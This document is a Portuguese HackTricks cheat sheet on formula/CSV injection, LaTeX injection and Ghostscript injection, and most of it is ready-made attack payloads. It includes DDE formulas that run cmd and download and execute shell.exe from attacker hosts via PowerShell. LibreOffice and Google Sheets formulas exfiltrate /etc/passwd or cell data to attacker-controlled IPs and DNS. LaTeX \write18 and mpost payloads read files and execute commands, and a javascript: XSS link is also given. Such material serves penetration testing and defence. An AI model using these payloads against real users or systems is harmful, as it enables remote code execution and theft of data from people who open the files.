13 KiB
Injeção de Fórmulas/CSV/Doc/LaTeX/GhostScript
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Injeção de Fórmulas
Informações
Se a sua entrada está sendo refletida dentro de arquivos CSV (ou qualquer outro arquivo que provavelmente será aberto pelo Excel), você pode ser capaz de inserir fórmulas do Excel que serão executadas quando o usuário abrir o arquivo ou quando o usuário clicar em algum link dentro da planilha do Excel.
{% hint style="danger" %} Atualmente, o Excel alertará (várias vezes) o usuário quando algo for carregado de fora do Excel para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final. {% endhint %}
Wordlist
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hiperlink
O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha do Excel final e para fazer solicitações para locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos de alerta).
O exemplo a seguir foi retirado de https://payatu.com/csv-injection-basic-to-exploit
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos explorado por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar detalhes dos alunos. O método envolve o atacante injetando um payload malicioso na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
- Injeção de Payload Malicioso:
- O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo,
=HYPERLINK("<malicious_link>","Clique aqui")
). - Essa fórmula é projetada para criar um hiperlink, mas aponta para um servidor malicioso controlado pelo atacante.
- Exportando Dados Comprometidos:
- Professores, sem saber da comprometimento, usam a funcionalidade da aplicação para exportar os dados para um arquivo CSV.
- O arquivo CSV, quando aberto, ainda contém o payload malicioso. Esse payload aparece como um hiperlink clicável na planilha.
- Desencadeando o Ataque:
- Um professor clica no hiperlink, acreditando ser uma parte legítima dos detalhes do aluno.
- Ao clicar, dados sensíveis (potencialmente incluindo detalhes da planilha ou do computador do professor) são transmitidos para o servidor do atacante.
- Registrando os Dados:
- O servidor do atacante recebe e registra os dados sensíveis enviados do computador do professor.
- O atacante pode então usar esses dados para vários propósitos maliciosos, comprometendo ainda mais a privacidade e segurança dos alunos e da instituição.
RCE
Confira o post original para mais detalhes.
Em configurações específicas ou versões mais antigas do Excel, um recurso chamado Troca Dinâmica de Dados (DDE) pode ser explorado para executar comandos arbitrários. Para aproveitar isso, as seguintes configurações devem estar habilitadas:
- Navegue até Arquivo → Opções → Centro de Confiança → Configurações do Centro de Confiança → Conteúdo Externo e habilite Iniciar Servidor de Troca Dinâmica de Dados.
Quando uma planilha com o payload malicioso é aberta (e se o usuário aceitar os avisos), o payload é executado. Por exemplo, para iniciar o aplicativo da calculadora, o payload seria:
`=cmd|' /C calc'!xxx`
Comandos adicionais também podem ser executados, como baixar e executar um arquivo usando o PowerShell:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Inclusão Local de Arquivo (LFI) no LibreOffice Calc
O LibreOffice Calc pode ser usado para ler arquivos locais e exfiltrar dados. Aqui estão alguns métodos:
- Lendo a primeira linha do arquivo local
/etc/passwd
:='file:///etc/passwd'#$passwd.A1
- Exfiltrando os dados lidos para um servidor controlado pelo atacante:
=WEBSERVICE(CONCATENATE("http://<IP do atacante>:8080/",('file:///etc/passwd'#$passwd.A1)))
- Exfiltrando mais de uma linha:
=WEBSERVICE(CONCATENATE("http://<IP do atacante>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- Exfiltração DNS (enviando dados lidos como consultas DNS para um servidor DNS controlado pelo atacante):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domínio do atacante>"))
Google Sheets para Exfiltração de Dados Out-of-Band (OOB)
O Google Sheets oferece funções que podem ser exploradas para exfiltração de dados OOB:
- CONCATENATE: Anexa strings juntas -
=CONCATENATE(A2:E2)
- IMPORTXML: Importa dados de tipos de dados estruturados -
=IMPORTXML(CONCAT("http://<IP do atacante:Porta>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: Importa feeds RSS ou ATOM -
=IMPORTFEED(CONCAT("http://<IP do atacante:Porta>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: Importa dados de tabelas ou listas HTML -
=IMPORTHTML (CONCAT("http://<IP do atacante:Porta>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: Importa um intervalo de células de outra planilha -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID_da_Planilha]", "planilha1!A2:E2")
- IMAGE: Insere uma imagem em uma célula -
=IMAGE("https://<IP do atacante:Porta>/images/srpr/logo3w.png")
Injeção LaTeX
Normalmente, os servidores que você encontrará na internet que convertem código LaTeX em PDF usam pdflatex
.
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
--no-shell-escape
: Desabilita a construção\write18{comando}
, mesmo que esteja habilitada no arquivo texmf.cnf.--shell-restricted
: Igual a--shell-escape
, mas limitado a um conjunto 'seguro' de comandos pré-definidos (**No Ubuntu 16.04 a lista está em/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Habilita a construção\write18{comando}
. O comando pode ser qualquer comando de shell. Esta construção normalmente é desativada por motivos de segurança.
No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar --shell-restricted
.
Ler arquivo
Você pode precisar ajustar a injeção com wrappers como [ ou $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Ler arquivo de uma única linha
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Ler arquivo de várias linhas
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Escrever arquivo
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Execução de comando
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-lo.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Se você receber algum erro LaTex, considere usar base64 para obter o resultado sem caracteres inválidos
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
De @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Injeção de Ghostscript
Verifique https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Referências
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.